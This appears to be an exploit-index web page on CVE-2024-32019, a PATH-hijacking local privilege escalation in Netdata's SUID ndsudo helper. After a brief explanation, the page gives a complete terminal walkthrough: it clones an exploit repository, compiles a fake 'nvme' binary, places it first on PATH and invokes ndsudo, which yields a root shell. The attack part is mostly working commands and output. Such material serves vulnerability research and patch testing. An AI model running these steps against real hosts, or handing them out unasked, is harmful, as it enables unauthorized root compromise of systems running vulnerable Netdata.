Skip to content
HackIndex logo

HackIndex

CVE-2024-32019:
Netdata ndsudo

Published: Feb 21, 2026
High
Untrusted Path

CVE-2024-32019 in Netdata’s ndsudo is a local privilege escalation where a user can abuse the fact that ndsudo runs with root privileges (SUID) but can end up resolving and executing helper programs via an attacker-influenced search path (like PATH). In practice, an attacker places a malicious binary with the same name as a helper ndsudo expects to call and ensures it’s found first, so when ndsudo launches it, that payload runs as root. The result is arbitrary command execution as root, meaning a local user can fully compromise the host.

Privesc PATH Netdata NDSudo

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

dollarboysushil repository
Exploit script for CVE-2024-32019
View repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/dollarboysushil/CVE-2024-32019-Netdata-ndsudo-PATH-Vulnerability-Privilege-Escalation.git
┌──(kali㉿kali)-[~]
└─$ cd CVE-2024-32019-Netdata-ndsudo-PATH-Vulnerability-Privilege-Escalation
 
┌──(kali㉿kali)-[~]
└─$ gcc nvme.c -o nvme

Transfer nvme to the target and do the following:

┌──(kali㉿kali)-[~]
└─$ # Prepare env
┌──(kali㉿kali)-[~]
└─$ mkdir -p /tmp/fakebin
┌──(kali㉿kali)-[~]
└─$ mv nvme /tmp/fakebin/
┌──(kali㉿kali)-[~]
└─$ chmod +x /tmp/fakebin/nvme
 
┌──(kali㉿kali)-[~]
└─$ # Prepare PATH
┌──(kali㉿kali)-[~]
└─$ export PATH=/tmp/fakebin:$PATH
┌──(kali㉿kali)-[~]
└─$ which nvme
/tmp/fakebin/nvme


If everything is setup, exploit the target:

┌──(kali㉿kali)-[~]
└─$ /opt/netdata/usr/libexec/netdata/plugins.d/ndsudo nvme-list
┌──(kali㉿kali)-[~]
└─$ # whoami
root